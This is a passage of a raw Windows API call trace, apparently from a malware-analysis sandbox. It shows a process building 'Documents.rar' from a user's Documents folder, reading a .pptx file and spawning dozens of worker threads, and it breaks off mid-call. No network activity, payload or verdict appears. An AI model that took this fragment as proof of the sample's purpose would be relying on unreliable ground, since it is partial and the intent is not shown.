Flags=0x0, Size=0x10000) returned 0x3c3f60 [0053.935] CryptAcquireContextW (in: phProv=0x1cd810, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd810*=0x3020f0) returned 1 [0053.935] CryptGenRandom (in: hProv=0x3020f0, dwLen=0x10, pbBuffer=0x1cd890 | out: pbBuffer=0x1cd890) returned 1 [0053.935] CryptReleaseContext (hProv=0x3020f0, dwFlags=0x0) returned 1 [0053.935] GetSystemTime (in: lpSystemTime=0x1cd7a8 | out: lpSystemTime=0x1cd7a8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x11, wMilliseconds=0x1af)) [0053.935] SystemTimeToFileTime (in: lpSystemTime=0x1cd7a8, lpFileTime=0x1cd7a0 | out: lpFileTime=0x1cd7a0) returned 1 [0053.935] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd7d0 | out: lpPerformanceCount=0x1cd7d0*=12927583358) returned 1 [0053.936] CreateFileW (lpFileName="Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.936] GetLastError () returned 0x2 [0053.936] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1ca770 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.936] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.936] GetLastError () returned 0x2 [0053.936] CreateFileW (lpFileName="Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0053.937] LoadStringW (in: hInstance=0x13f160000, uID=0x20d, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="Creating archive %s") returned 0x13 [0053.937] GetLastError () returned 0x0 [0053.937] SetLastError (dwErrCode=0x0) [0053.937] SetDlgItemTextW (hDlg=0x10278, nIDDlgItem=165, lpString="Documents.rar") returned 1 [0053.937] GetWindowTextW (in: hWnd=0x10278, lpString=0x1caba0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.937] SetWindowTextW (hWnd=0x10278, lpString="Creating archive Documents.rar") returned 1 [0053.937] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.937] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c9750, nMaxCount=2560 | out: lpString="97 files found") returned 14 [0053.937] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.937] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c9750, nMaxCount=2560 | out: lpString="") returned 0 [0053.937] GetTickCount () returned 0xa6450e [0053.937] UpdateWindow (hWnd=0x10278) returned 1 [0053.937] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cb750*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cb750*=0) returned 0x0 [0053.937] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c7e30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c7e30*=0) returned 0x0 [0053.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fb80 [0053.938] WriteFile (in: hFile=0x198, lpBuffer=0x1d2f80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c64b0, lpOverlapped=0x0 | out: lpBuffer=0x1d2f80*, lpNumberOfBytesWritten=0x1c64b0*=0x8, lpOverlapped=0x0) returned 1 [0053.938] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x219fb80 | out: hHeap=0x2e0000) returned 1 [0053.938] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c7e30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c7e30*=0) returned 0x8 [0053.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fb80 [0053.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219faf0 [0053.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fbb0 [0053.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fbe0 [0053.938] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x219fbb0 | out: hHeap=0x2e0000) returned 1 [0053.938] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x219faf0 | out: hHeap=0x2e0000) returned 1 [0053.938] WriteFile (in: hFile=0x198, lpBuffer=0x219fb83*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x1c6470, lpOverlapped=0x0 | out: lpBuffer=0x219fb83*, lpNumberOfBytesWritten=0x1c6470*=0x11, lpOverlapped=0x0) returned 1 [0053.938] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x219fbe0 | out: hHeap=0x2e0000) returned 1 [0053.938] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x219fb80 | out: hHeap=0x2e0000) returned 1 [0053.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3a0c30 [0053.938] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a0c30 | out: hHeap=0x2e0000) returned 1 [0053.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6328) returned 0x3d3f70 [0053.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x358) returned 0x3aa680 [0053.939] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x19c [0053.939] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x190 [0053.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x40000) returned 0x219fde0 [0053.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x358) returned 0x3aa9e0 [0053.939] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x1a0 [0053.939] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x1a4 [0053.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xe980) returned 0x21dfdf0 [0053.940] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8003) returned 0x21ee780 [0053.940] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8003) returned 0x39d0080 [0053.941] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x358) returned 0x3aad40 [0053.941] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x1a8 [0053.941] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x1ac [0053.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x100000) returned 0x3bd0040 [0053.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x46c8) returned 0x3da2a0 [0053.943] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10000000) returned 0x3ce0040 [0054.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4001011) returned 0x13cf0040 [0067.592] FindFirstFileW (in: lpFileName="-Rh7mA95EzQMCjv.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3309a0 [0067.592] FindClose (in: hFindFile=0x3309a0 | out: hFindFile=0x3309a0) returned 1 [0067.592] CreateFileW (lpFileName="-Rh7mA95EzQMCjv.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\-rh7ma95ezqmcjv.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.592] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.592] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0067.592] GetTickCount () returned 0xa67310 [0067.592] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd3b0 | out: lpPerformanceCount=0x1cd3b0*=14293281261) returned 1 [0067.593] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0067.593] GetLastError () returned 0x0 [0067.593] SetLastError (dwErrCode=0x0) [0067.593] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0067.593] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0067.593] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbf90, nMaxCount=2560 | out: lpString="") returned 0 [0067.593] SetWindowTextW (hWnd=0x10282, lpString=" 0%") returned 1 [0067.593] ShowWindow (hWnd=0x10284, nCmdShow=9) returned 0 [0067.593] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0067.594] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.594] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.594] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="97 files found") returned 14 [0067.594] SetWindowTextW (hWnd=0x1027e, lpString="adding") returned 1 [0067.594] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.594] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="") returned 0 [0067.594] SetWindowTextW (hWnd=0x10280, lpString="-Rh7mA95EzQMCjv.pptx") returned 1 [0067.594] GetTickCount () returned 0xa6731f [0067.594] UpdateWindow (hWnd=0x10278) returned 1 [0067.595] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 1 [0067.664] GetMessageW (in: lpMsg=0x1cd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd830) returned 1 [0067.664] GetFocus () returned 0x0 [0067.664] TranslateMessage (lpMsg=0x1cd830) returned 0 [0067.664] DispatchMessageW (lpMsg=0x1cd830) returned 0x0 [0067.664] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3020f0) returned 1 [0067.665] CryptGenRandom (in: hProv=0x3020f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.665] CryptReleaseContext (hProv=0x3020f0, dwFlags=0x0) returned 1 [0067.665] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x11f)) [0067.665] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.665] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14300498529) returned 1 [0067.665] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xc38) returned 0x3de970 [0067.665] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xa2ac, lpOverlapped=0x0) returned 1 [0067.674] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aa2ec, nNumberOfBytesToRead=0xf5d54, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aa2ec*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.674] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.674] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.674] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fb80 [0067.674] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fbe0 [0067.674] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x219fbe0, Size=0x48) returned 0x39d870 [0067.674] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3aba90 [0067.674] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fbe0 [0067.674] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x219fbe0, Size=0x48) returned 0x39d960 [0067.674] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3aba90 | out: hHeap=0x2e0000) returned 1 [0067.675] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39d870 | out: hHeap=0x2e0000) returned 1 [0067.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219fbe0 [0067.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219faf0 [0067.675] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x219faf0 | out: hHeap=0x2e0000) returned 1 [0067.675] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x219fbe0 | out: hHeap=0x2e0000) returned 1 [0067.675] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x219fb80, Size=0x48) returned 0x39d870 [0067.675] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39d870, Size=0x7a) returned 0x3a3490 [0067.675] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39d960 | out: hHeap=0x2e0000) returned 1 [0067.675] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3490 | out: hHeap=0x2e0000) returned 1 [0067.675] GetTickCount () returned 0xa6736d [0067.675] GetLastError () returned 0x0 [0067.675] SetLastError (dwErrCode=0x0) [0067.675] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0067.675] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0067.675] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.675] SetWindowTextW (hWnd=0x10282, lpString=" 100%") returned 1 [0067.675] ShowWindow (hWnd=0x10284, nCmdShow=9) returned 1 [0067.675] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0067.675] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14301568710) returned 1 [0067.675] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0067.675] GetTickCount () returned 0xa6736d [0067.675] GetLastError () returned 0x0 [0067.675] SetLastError (dwErrCode=0x0) [0067.675] GetDlgItem (hDlg=0x10278, nIDDlgItem=154) returned 0x1028a [0067.675] GetWindowTextW (in: hWnd=0x1028a, lpString=0x1cc310, nMaxCount=2560 | out: lpString="") returned 0 [0067.675] SetWindowTextW (hWnd=0x1028a, lpString="00:00:00") returned 1 [0067.676] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0067.676] GetTickCount () returned 0xa6736d [0067.676] GetDlgItem (hDlg=0x10278, nIDDlgItem=162) returned 0x1028c [0067.676] ShowWindow (hWnd=0x1028c, nCmdShow=0) returned 1 [0067.676] GetDlgItem (hDlg=0x10278, nIDDlgItem=151) returned 0x1028e [0067.676] ShowWindow (hWnd=0x1028e, nCmdShow=0) returned 1 [0067.677] GetDlgItem (hDlg=0x10278, nIDDlgItem=151) returned 0x1028e [0067.677] GetWindowTextW (in: hWnd=0x1028e, lpString=0x1cc310, nMaxCount=2560 | out: lpString="") returned 0 [0067.677] GetTickCount () returned 0xa6736d [0067.677] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2e8 | out: ppv=0x1cd2e8*=0x3b4a4d0) returned 0x0 [0067.708] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b4a4d0, hwnd=0x10278, tbpFlags=2) returned 0x0 [0067.716] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b4a4d0, hwnd=0x10278, ullCompleted=0xa2ac, ullTotal=0x4b42ce) returned 0x0 [0067.717] TaskbarList:IUnknown:Release (This=0x3b4a4d0) returned 0x0 [0067.717] GetLastError () returned 0x2 [0067.717] SetLastError (dwErrCode=0x2) [0067.717] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0067.717] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0067.717] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString="") returned 0 [0067.717] SetWindowTextW (hWnd=0x10298, lpString=" 0%") returned 1 [0067.718] GetLastError () returned 0x0 [0067.718] SetLastError (dwErrCode=0x0) [0067.718] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0067.718] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString="") returned 0 [0067.718] SetWindowTextW (hWnd=0x10294, lpString=" 0%") returned 1 [0067.718] ShowWindow (hWnd=0x1029a, nCmdShow=9) returned 0 [0067.718] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0067.718] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0067.718] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0067.718] GetFocus () returned 0x0 [0067.718] TranslateMessage (lpMsg=0x1cd790) returned 0 [0067.718] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0067.719] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.719] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x918) returned 0x1d0 [0067.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x6a4) returned 0x1d4 [0067.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x8ec) returned 0x1d8 [0067.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x174) returned 0x1dc [0067.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x8c0) returned 0x1e0 [0067.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x240) returned 0x1e4 [0067.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x8c4) returned 0x1e8 [0067.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x2a8) returned 0x1ec [0067.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x7a4) returned 0x1f0 [0067.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x78c) returned 0x1f4 [0067.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x780) returned 0x1f8 [0067.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x764) returned 0x1fc [0067.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x93c) returned 0x200 [0067.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb60) returned 0x204 [0067.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb50) returned 0x208 [0067.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb54) returned 0x20c [0067.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb58) returned 0x210 [0067.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb5c) returned 0x214 [0067.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb64) returned 0x218 [0067.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb68) returned 0x21c [0067.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x80c) returned 0x220 [0067.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x3c4) returned 0x224 [0067.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x7f4) returned 0x228 [0067.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xb4c) returned 0x22c [0067.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x360) returned 0x230 [0067.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x8f0) returned 0x234 [0067.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x8fc) returned 0x238 [0067.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x914) returned 0x23c [0067.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x904) returned 0x240 [0067.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x8d8) returned 0x244 [0067.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0x94c) returned 0x248 [0067.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa9e0, dwCreationFlags=0x0, lpThreadId=0x1cd820 | out: lpThreadId=0x1cd820*=0xc4) returned 0x24c [0067.735] ResetEvent (hEvent=0x1a4) returned 1 [0067.735] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.735] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.747] ResetEvent (hEvent=0x1a4) returned 1 [0067.747] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.747] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.755] GetTickCount () returned 0xa673bb [0067.755] GetLastError () returned 0x0 [0067.755] SetLastError (dwErrCode=0x0) [0067.755] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0067.755] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0067.755] GetWindowTextW (in: hWnd=0x10282, 